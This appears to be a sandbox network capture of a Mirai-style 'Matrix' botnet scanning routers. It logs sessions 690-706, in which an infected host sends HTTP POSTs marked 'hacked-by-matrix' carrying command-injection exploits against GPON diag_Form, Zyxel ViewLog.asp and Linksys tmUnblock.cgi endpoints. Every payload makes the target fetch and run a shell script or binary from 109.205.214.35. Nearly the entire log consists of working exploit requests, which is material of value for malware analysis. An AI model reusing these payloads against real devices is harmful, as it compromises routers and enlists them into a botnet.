690	192.168.2.13	38610	212.7.26.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624058962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	51534	109.70.1.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624059916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	37926	5.109.53.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624085903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	44200	118.81.233.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624103069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	56148	212.61.226.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624120951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	40796	109.169.71.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624129057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	52772	109.193.85.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624144077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	46154	109.115.154.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624160051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	55478	118.104.222.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624169111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	60570	5.227.125.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624178886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	58694	118.231.33.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624242067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	53024	42.198.199.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624263048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.13	60160	5.52.192.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624270916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	39354	212.127.26.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:50.624298096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	51398	178.63.42.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:51.115530968 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:51.291385889 CET	634	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:22:51 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://app.expert.withorca.com/cgi-bin/ViewLog.asp Content-Length: 334 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 70 2e 65 78 70 65 72 74 2e 77 69 74 68 6f 72 63 61 2e 63 6f 6d 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://app.expert.withorca.com/cgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Mar 21, 2024 05:22:51.291513920 CET	509	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 70 70 2e 65 78 70 65 72 74 2e 77 69 74 68 6f 72 63 61 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at app.expert.withorca.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	55986	178.62.123.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:51.273003101 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:51.445569038 CET	814	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 03:40:23 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 291 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 70 3e 33 26 61 6d 70 3b 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 20 74 6f 20 2f 69 6e 64 65 78 2e 68 74 6d 6c 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>501 Not Implemented</title></head><body><h1>Not Implemented</h1><p>3&remoteSubmit=Save to /index.html not supported.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	54718	172.65.76.200	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:52.039457083 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: 